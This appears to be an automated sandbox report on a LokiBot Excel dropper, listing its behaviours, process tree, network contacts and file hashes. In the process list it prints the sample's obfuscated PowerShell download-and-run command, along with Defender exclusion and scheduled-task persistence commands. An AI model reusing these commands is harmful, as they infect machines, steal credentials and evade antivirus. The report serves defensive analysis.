Malware Analysis Report

2025-04-03 09:51

Sample ID 241119-cfmhxazcmr
Target 002eb261ac533e6ec256236996b229688b08f56aa143f2b2a257c215bfba0195.xls
SHA256 002eb261ac533e6ec256236996b229688b08f56aa143f2b2a257c215bfba0195
Tags
lokibot collection defense_evasion discovery execution spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

002eb261ac533e6ec256236996b229688b08f56aa143f2b2a257c215bfba0195

Threat Level: Known bad

The file 002eb261ac533e6ec256236996b229688b08f56aa143f2b2a257c215bfba0195.xls was found to be: Known bad.

Malicious Activity Summary

lokibot collection defense_evasion discovery execution spyware stealer trojan

Lokibot family

Process spawned unexpected child process

Lokibot

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Evasion via Device Credential Deployment

Downloads MZ/PE file

Executes dropped EXE

Reads user/profile data of web browsers

Loads dropped DLL

Accesses Microsoft Outlook profiles

Drops file in System32 directory

Suspicious use of SetThreadContext

Enumerates physical storage devices

System Location Discovery: System Language Discovery

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: AddClipboardFormatListener

Suspicious use of WriteProcessMemory

Uses Volume Shadow Copy service COM API

Suspicious use of SetWindowsHookEx

Scheduled Task/Job: Scheduled Task

Enumerates system info in registry

Checks processor information in registry

Suspicious behavior: EnumeratesProcesses

Uses Volume Shadow Copy WMI provider

Uses Task Scheduler COM API

outlook_win_path

Modifies Internet Explorer settings

outlook_office_path

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-19 02:01

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-19 02:01

Reported

2024-11-19 02:03

Platform

win7-20240903-en

Max time kernel

138s

Max time network

152s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\002eb261ac533e6ec256236996b229688b08f56aa143f2b2a257c215bfba0195.xls

Signatures

Lokibot

trojan spyware stealer lokibot

Lokibot family

lokibot

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Evasion via Device Credential Deployment

defense_evasion execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Reads user/profile data of web browsers

spyware stealer

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe N/A
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2972 set thread context of 108 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3012 wrote to memory of 1508 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe
PID 3012 wrote to memory of 1508 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe
PID 3012 wrote to memory of 1508 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe
PID 3012 wrote to memory of 1508 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe
PID 1508 wrote to memory of 1484 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1508 wrote to memory of 1484 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1508 wrote to memory of 1484 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1508 wrote to memory of 1484 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1508 wrote to memory of 1736 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 1508 wrote to memory of 1736 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 1508 wrote to memory of 1736 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 1508 wrote to memory of 1736 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 1736 wrote to memory of 1504 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 1736 wrote to memory of 1504 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 1736 wrote to memory of 1504 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 1736 wrote to memory of 1504 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 1508 wrote to memory of 2972 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1508 wrote to memory of 2972 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1508 wrote to memory of 2972 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1508 wrote to memory of 2972 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2972 wrote to memory of 960 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2972 wrote to memory of 960 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2972 wrote to memory of 960 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2972 wrote to memory of 960 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2972 wrote to memory of 1648 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2972 wrote to memory of 1648 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2972 wrote to memory of 1648 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2972 wrote to memory of 1648 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2972 wrote to memory of 1500 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\schtasks.exe
PID 2972 wrote to memory of 1500 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\schtasks.exe
PID 2972 wrote to memory of 1500 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\schtasks.exe
PID 2972 wrote to memory of 1500 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\schtasks.exe
PID 2972 wrote to memory of 792 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2972 wrote to memory of 792 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2972 wrote to memory of 792 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2972 wrote to memory of 792 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2972 wrote to memory of 108 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2972 wrote to memory of 108 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2972 wrote to memory of 108 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2972 wrote to memory of 108 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2972 wrote to memory of 108 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2972 wrote to memory of 108 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2972 wrote to memory of 108 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2972 wrote to memory of 108 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2972 wrote to memory of 108 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2972 wrote to memory of 108 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\002eb261ac533e6ec256236996b229688b08f56aa143f2b2a257c215bfba0195.xls

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe -Embedding

C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe

"C:\Windows\sYStem32\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe" "PowErShEll -EX bYPaSS -nOp -w 1 -c DEvicEcREdENTIAlDEplOyMenT ; INvoKe-eXPrEssIOn($(InvoKe-eXPRessIon('[sYsteM.tExT.eNcODing]'+[ChaR]0x3A+[cHAr]58+'utF8.GetstrIng([SYStEM.CoNVErT]'+[cHAr]58+[CHaR]58+'FROmbASE64STRinG('+[ChAR]34+'JFo3VE02ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFckRFZmluSXRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OLkRMbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTnJwdCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBGaUVJdnlPaGJJcyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWVCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInVwIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBPZ2NBUnYgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFo3VE02OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMjQzLjEzNi8zNy9jYXNwb2wuZXhlIiwiJGVuVjpBUFBEQVRBXGNhc3BvbC5leGUiLDAsMCk7c1RBUlQtc0xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTnY6QVBQREFUQVxjYXNwb2wuZXhlIg=='+[CHAr]0x22+'))')))"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYPaSS -nOp -w 1 -c DEvicEcREdENTIAlDEplOyMenT

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe

"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\-jhcacjd.cmdline"

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD74D.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCD74C.tmp"

C:\Users\Admin\AppData\Roaming\caspol.exe

"C:\Users\Admin\AppData\Roaming\caspol.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\caspol.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\pYSJOdJUV.exe"

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\pYSJOdJUV" /XML "C:\Users\Admin\AppData\Local\Temp\tmp8527.tmp"

C:\Users\Admin\AppData\Roaming\caspol.exe

"C:\Users\Admin\AppData\Roaming\caspol.exe"

C:\Users\Admin\AppData\Roaming\caspol.exe

"C:\Users\Admin\AppData\Roaming\caspol.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 link.uebie.de udp
DE 5.45.108.48:443 link.uebie.de tcp
US 8.8.8.8:53 e6.o.lencr.org udp
GB 88.221.135.115:80 e6.o.lencr.org tcp
US 192.3.243.136:80 192.3.243.136 tcp
DE 5.45.108.48:443 link.uebie.de tcp
US 192.3.243.136:80 192.3.243.136 tcp
US 192.3.243.136:80 192.3.243.136 tcp
US 8.8.8.8:53 crl.microsoft.com udp
GB 2.19.252.143:80 crl.microsoft.com tcp
US 8.8.8.8:53 www.microsoft.com udp
GB 95.100.245.144:80 www.microsoft.com tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp

Files

memory/2092-1-0x0000000072B0D000-0x0000000072B18000-memory.dmp

memory/2092-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/3012-16-0x0000000000AE0000-0x0000000000AE2000-memory.dmp

memory/2092-17-0x0000000003160000-0x0000000003162000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B083487247EB8FBD76503EF0DA269B6B

MD5 dfe9d40108cd6499968560d0319998c6
SHA1 6b79281f7efec1b9fb942e6e0cd3eb5e9f776e73
SHA256 1dc7e4150fff57a7423b4d0ebeb3a5f966593b4dad4b803840f6c4a2f814951e
SHA512 5d4d685a5f15372d4ae8fdc08ab92d2f2f173f586b58315d35a62318f71b9fce7f84b4501f50024e95225a53856ab8170bcf1adf8805eaddb392250082c9ff56

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B083487247EB8FBD76503EF0DA269B6B

MD5 d0a441211f6bcb852dd7c33a0723a636
SHA1 2004ff80a11877e82b645ba1e8b61cb753fa921d
SHA256 287650f9904136bab5f5eca0ba62fd9a11bcc3e7103b999c5f172e6f1c312dcd
SHA512 c7f0d9cfdae089c36ef43007c66e0602d36d3620f8c7f77b582e4984381ba0f3113d10c26fdfe4e5085bc6450dd428c41ea3353e6454e7ae0754c159dc197c5e

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751

MD5 822467b728b7a66b081c91795373789a
SHA1 d8f2f02e1eef62485a9feffd59ce837511749865
SHA256 af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9
SHA512 bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751

MD5 212bf5859cfcd555042a2141d7255281
SHA1 af1d097ce7613563b85c90ba8b9fcabdb63226f3
SHA256 8c95d14f37b8ca677c1d36bbc215a11a6bd483a9c71817db1ec6f15d0c59c369
SHA512 c814a7af078a1dad6cdde805cf658e3743da6ff03ffd5832c4216dc4c347266b15c29b2ec018ceaa8d72c4de58e797493cf5584ef954c4c300baff95f15e0fec

C:\Users\Admin\AppData\Local\Temp\CabCADD.tmp

MD5 49aebf8cbd62d92ac215b2923fb1b9f5
SHA1 1723be06719828dda65ad804298d0431f6aff976
SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512 bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\K3VL8XEP\givemebestwithentiretimegivenmebestthingsalwaysforgetbacknew[1].hta

MD5 f3e18c2fd2190a479b6fb930e6061c2e
SHA1 88efd851c900d0a32d4876b3cc8be0a50ebec363
SHA256 98afd5f972247d0d98dfad43a380dc8390a8ec52c6e6f8cdfcd0a858f2433dce
SHA512 ab0862b5ab48bbd2781ec7397861904bd412fa282ef56ef1212ce15840f3a9dd22cd043b125af83707dae39d433dd03fcb657a1d546f77b3fae6bc32725ade5e

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 7d3e9ddead87e0589edbe3cb9c7c4470
SHA1 52ae3d317b6c8f92130c1a76a9ea07f89b9f6f58
SHA256 daa7541b2682c49d22b5aee283a12e1afa70f892b7538cf70f7891c0b0b43888
SHA512 ac4cc09392dcde7e55e2fb19275b130100c4bf916bf7cf878b7d830e00e0a059408d7fc0de65d75fd01b3cd89f15eaa08ae787e2367a90c7e24610a257a7be63

\??\c:\Users\Admin\AppData\Local\Temp\-jhcacjd.cmdline

MD5 e9307bdbf015aacd7ad7c5f46a7636a5
SHA1 109819bc17b612d370b7ce95dac36ed1ee6288b7
SHA256 25f6a916d199526bc49f0034e587f03c201f4d9b4a6d279c88a38426ba74cd84
SHA512 83f60994e007e7491fcf73b140c6e549670d515e0459d848860c2bc3b89fd0f79145b5ceefc323f3f91e2fe409053d819167f5959ca373212dddacd001454d15

\??\c:\Users\Admin\AppData\Local\Temp\-jhcacjd.0.cs

MD5 f8419bbc398e1a2b134eec88b333f8f6
SHA1 57ebba4cad00272da80b919df0908ec40f9be48a
SHA256 25fccfa20b9b6d921f804167f1637df00cdd3203af9c0313f99de7c6e9989db3
SHA512 b1f4044b7a62e1de69d8e4a8ebf4db6bb24fd40d486ec5e44bd3e6b835e62ef5078c79236ded9c21ce1b0acd3575acaf1908f4fcc6ee12f1fd5f7455c4b14674

C:\Users\Admin\AppData\Local\Temp\RESD74D.tmp

MD5 6149bf96e770d68aa7d58124b0888da6
SHA1 4ecd16f039a931dfc7dd7cb6bbe6d2f3e58f8d4a
SHA256 67c4a7871a71a98a42dbc85c42fbf9af95d762aee234063b8d28af3ca8348464
SHA512 34a85f33d498f89d115fb1491f51791ee10e137bacc6696df86e166ac5f4b2549913629a50e07b1b61fa984c96bba65f9445de543d13d607b0ea2dd9ee177b97

\??\c:\Users\Admin\AppData\Local\Temp\CSCD74C.tmp

MD5 fe6cb44a7496669aa00a591bc863a1b8
SHA1 2695ddb8265c522fcfe12438f78fbbbd356a9815
SHA256 41ee5fc7b27eba8eb4bf0f53d8cec2ee05d213d61118832c8fd623e9cbfc7000
SHA512 8a4627e6fa3aaeadb8c1a1cb9fe883ba44851d70de4f7c6a8db21f777ff2db9b27e5975e26be8d0a3c59cadadf5091cfcea0ca07dcdbe392f17e948b468c76b4

C:\Users\Admin\AppData\Local\Temp\-jhcacjd.pdb

MD5 5c7984bdd010eade3344ca6c697e161b
SHA1 45b3a27f7dab0cfac3583880ae043d416fa0458f
SHA256 13e50af3fed97aa613d349f2f7f4b1d03300303f3ff00c550d779389e71b7d54
SHA512 1b4b1269c9014b387d10278fb1525c7df8ba2db0ca2e2a02c13723e8b6aabe1c710f197bc0da89ff4b4ed7a6adc8616362699b73b29542f58346af37f709bca7

C:\Users\Admin\AppData\Local\Temp\-jhcacjd.dll

MD5 ea74b4933b1b3561d1bbde36a0eed8c2
SHA1 734980b04ac172e3c98245e3f5f087808e1541de
SHA256 118de6e847c9f4578b74f96a617d058dec67f35bff4dd42f9c0c26d8fc544a1b
SHA512 4013b9904d902ec128d09520818fb18911b4bfdc39d8917a1ed9a428f803f76c987bb59bf054b35e8ef7d1e25ca7871785fd58977aab7483dc669c05c0d6ffab

memory/2092-60-0x0000000072B0D000-0x0000000072B18000-memory.dmp

\Users\Admin\AppData\Roaming\caspol.exe

MD5 318ff90d7a2797a041b836f7f8900f62
SHA1 fdda6afed7a1643ae353e7a635e6744c2b0a07d5
SHA256 241d0df35796a2c2ae0ae4af70ef9e6571c23536fef35c1c0c172d703203a430
SHA512 808942ba5db2e4d3d1d29a52c065acad4fcaae328dc43a3b977234f1b58d2838abf73d03b0992cd0f5ac4939e29f354c6c2ea25a4822a461b8ef74cec0eb3aac

memory/2972-70-0x00000000011A0000-0x0000000001234000-memory.dmp

memory/2972-71-0x0000000000470000-0x0000000000482000-memory.dmp

memory/2972-72-0x0000000004E70000-0x0000000004ED4000-memory.dmp

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 d08d49f6c89ca823c27237cdfbb63e0b
SHA1 580aa20d0738fb303fc1a1598331010db0734869
SHA256 844aa5fdabed6399a0f557bebd916c9010c228935dea2b08fc5a5b14da669c9f
